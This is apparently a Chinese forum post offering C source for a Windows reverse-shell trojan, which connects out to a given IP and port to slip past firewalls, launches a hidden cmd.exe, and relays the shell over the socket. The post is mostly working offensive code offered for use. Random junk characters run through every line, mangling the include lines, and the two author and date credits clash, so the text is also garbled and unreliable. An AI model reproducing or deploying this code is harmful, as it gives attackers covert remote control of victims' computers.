这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R7Hn8;..
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/* ============================== T"8>6a@}E
Rebound port in Windows NT XQ,IEj|
By wind,2006/7 BI,K?D&W-
===============================*/ 7f[nNng
#include A
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#include BJ~Q\Si6
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#pragma comment(lib,"wsock32.lib") ~SP.&>Q>
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void OutputShell(); #y}@FG
SOCKET sClient; #C4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BP*gnXj
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void main(int argc,char **argv) xWn.vSos
{ $9Y2\'w<h6
WSADATA stWsaData; ANn{*h
int nRet; 7^as~5'&-
SOCKADDR_IN stSaiClient,stSaiServer; W"VN2
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if(argc != 3) 4D9lZa}
{ F)5QpDmqb
printf("Useage:\n\rRebound DestIP DestPort\n"); 09%q/-$
return; dg/7?gV
} FhAuTZk
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WSAStartup(MAKEWORD(2,2),&stWsaData); <w.V !"!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E)H8jBm6w
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stSaiClient.sin_family = AF_INET; 1:q55!b
stSaiClient.sin_port = htons(0); j\!zz
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dFo9O!YX[f
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \9@*Jgpd6*
{ {eqUEdC
printf("Bind Socket Failed!\n"); #B)/d?aa'
return; m{(D*Vuqd
} VH,k EbJ
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stSaiServer.sin_family = AF_INET; B2WPjhzD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zZki9P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hH )jX`Ta
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <74q]C
{ =@gH$Q_1
printf("Connect Error!"); q,$UKg#i
return; .'5yFBS
} 2~ Gcoda
OutputShell(); ^X"G~#v=q
} dUOjPq97
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void OutputShell() S)@R4{=e"V
{ =n9adq
char szBuff[1024]; 5j{o0&=_$
SECURITY_ATTRIBUTES stSecurityAttributes; {B?%r[nW
OSVERSIONINFO stOsversionInfo; 06 K8|K
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `
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STARTUPINFO stStartupInfo; ' OdZ[AN
char *szShell; Q*( ]&qr"E
PROCESS_INFORMATION stProcessInformation; $
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unsigned long lBytesRead; !*?&V3!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3=T<c?[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6:ZqS~-
stSecurityAttributes.lpSecurityDescriptor = 0; #}:VZ2Z
stSecurityAttributes.bInheritHandle = TRUE; _
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J U}XSb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W4|1wd}.t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pWbzBgM?nU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DY~~pi~
stStartupInfo.wShowWindow = SW_HIDE; {BY`Wu:w
stStartupInfo.hStdInput = hReadPipe; eem.lVVD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @bfaAh~
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GetVersionEx(&stOsversionInfo); "&Q-'L!M'/
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switch(stOsversionInfo.dwPlatformId) ^dYFFKQ
{ ZJ=-cE2n
case 1: QRgWzaI
szShell = "command.com"; C&zgt
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break; s-k~_C>Fw
default: 6jPaS!E
szShell = "cmd.exe"; (gl CTF9v
break; `^wF]R
} j05ahquI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hKt
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send(sClient,szMsg,77,0); L4
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while(1) /uW6P3M
{ f!xIMIl)+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1PjSa4
if(lBytesRead) Ibd7[A\
{ l
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X~]eQaJ
send(sClient,szBuff,lBytesRead,0); -58r*[=8
} F{bET
else P.&,nFIg3
{ N#Qby4w >
lBytesRead=recv(sClient,szBuff,1024,0); F!c%&Z
if(lBytesRead<=0) break; i.0}qS?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i*9eU*i|H
} o Ep\po1
} $T1
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return; PKwHq<vAsB
}